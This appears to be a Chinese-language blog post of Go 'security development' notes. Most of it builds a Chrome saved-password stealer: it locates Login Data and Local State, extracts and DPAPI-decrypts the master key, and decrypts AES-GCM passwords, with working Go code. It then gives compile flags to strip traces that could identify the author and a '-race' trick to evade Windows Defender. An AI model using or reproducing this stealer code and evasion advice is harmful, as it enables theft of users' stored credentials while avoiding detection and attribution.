微软提供了两个数据保护API用来加密和解密,CryptProtectMemoryCryptUnprotectMemory

chrome的密码经过加密后存储位置

  1. \AppData\Local\Google\Chrome\User Data\Default\Login Data

80版本后,存放密钥local state(JSON格式的文件)的位置

  1. \AppData\Local\Google\Chrome\User Data\Local State

chrome密码存放其实是一个sqlite数据库文件.在Go中编写需要第三方库支持

  1. github.com/mattn/go-sqlite3 //需要你安装GCC

这样我们可以先把这些需要的API和存放位置定义为一个全局变量

  1. var (
  2. crypt32, _ = syscall.LoadLibrary("Crypt32.dll")
  3. kernel32 = syscall.NewLazyDLL("Kernel32.dll")
  4. procDecryptData, _ = syscall.GetProcAddress(crypt32, "CryptUnprotectData")
  5. procLocalFree = kernel32.NewProc("LocalFree")
  6. dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  7. localStatePath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
  8. masterKey []byte
  9. )

go安全开发笔记一 - 图16

可以看到80.x后加密后前缀为v10,这里可以帮我们起到判断使用哪种版本的解密方法

  1. if strings.HasPrefix(PASSWORD, "v10") {
  2. PASSWORD = strings.Trim(PASSWORD, "v10")

如果加密的值未以 v10作为前缀,则使用Windows DPAPI接口对原始值进行加解密

  1. func Decrypt(data []byte) ([]byte, error) {
  2. var outblob DATA_BLOB
  3. r, _, err := syscall.Syscall9(procDecryptData, 7, uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)), 0, 0)
  4. if r == 0 {
  5. return nil, err
  6. }
  7. defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
  8. return outblob.ToByteArray(), nil
  9. }

如果不是就要用新的解密办法,先从local state中提取密钥,然后base64,Trim掉密钥的前缀DPAPI,然后再使用Windows DPAPI对其进行解密得到最终的密钥

它采用的是os_crypt_win.cc下的DecryptString方法.

go安全开发笔记一 - 图17

go安全开发笔记一 - 图18

  1. func getMasterKey() ([]byte, error) {
  2. var masterKey []byte
  3. jsonFile, err := os.Open(localStatePath)
  4. if err != nil {
  5. return masterKey, err
  6. }
  7. defer jsonFile.Close()
  8. byteValue, err := ioutil.ReadAll(jsonFile)
  9. if err != nil {
  10. return masterKey, err
  11. }
  12. var result map[string]interface{}
  13. json.Unmarshal([]byte(byteValue), &result)
  14. roughKey := result["os_crypt"].(map[string]interface{})["encrypted_key"].(string)
  15. //密钥存放在os_crypt.encrypted_key中
  16. decodedKey, err := base64.StdEncoding.DecodeString(roughKey)
  17. stringKey := string(decodedKey)
  18. stringKey = strings.Trim(stringKey, "DPAPI")
  19. masterKey, err = Decrypt([]byte(stringKey))
  20. if err != nil {
  21. return masterKey, err
  22. }
  23. return masterKey, nil
  24. }

整个加密过程使用了AES-GCM模式加密,在os_crypt_win.cc文件中可以看到相应的nonce和密钥取值

go安全开发笔记一 - 图19

最后解密,体积也不算很大3.6M.

go安全开发笔记一 - 图20

Go编译技巧

go安全开发笔记一 - 图21

我们一般的编程环境是六十四位的

编译32位的指令是

  1. set GOARCH=386

仅限于当前的shell窗口

当我们直接go build的exe,里面含有我们本地大量的信息,一不小心就可以被溯源到

go安全开发笔记一 - 图22

防止被溯源的指令

  1. go build -trimpath -ldflags "-w -s" main.go

当然 -w -s 后

go编译后从hex上看会有很多特征

  • s:忽略符号表和调试信息。
  • -w:忽略DWARFv3调试信息,使用该选项后将无法使用gdb进行调试。

缺点也比较明显,有时候你程序即使编译成功不运行也会报错,如果去掉这些调试信息的话,运行以后就什么都没有了

比如go build ID:这类,很不幸,在Windows defender 它也是特征之一.

go安全开发笔记一 - 图23

tools上文章中写到-race,数据竞争也可以免杀,经过测试,的确有效果,但体积会更大,而且只适合x64.可以看场景进行使用

  1. -race
  2. enable data race detection.
  3. Supported only on linux/amd64, freebsd/amd64, darwin/amd64, windows/amd64,
  4. linux/ppc64le and linux/arm64 (only for 48-bit VMA).

其实还有一些师傅编译的时候会遇到第三方包下载不了,这是因为Go官方被屏蔽了

  1. go env -w GO111MODULE=on
  2. go env -w GOPROXY=https://goproxy.io,direct

改了代理以后,就会像pip install 一样丝滑.

总结

Go的语句简单易学,没有很多的语法糖,如果你会C的话,基本可以很容易掌握Go,但是如果只是写POC建议还是Python,因为在项目中验证和利用漏洞,py就够了,因为目标一个的话,多线程可以忽略,但Windows没有默认集成py环境,以及py被GIL限制的原因,你可以学习一门编译型语言来辅助你,C/C++,Cshap,Go,Nim这些.

如果写的不好,请大师傅们海涵.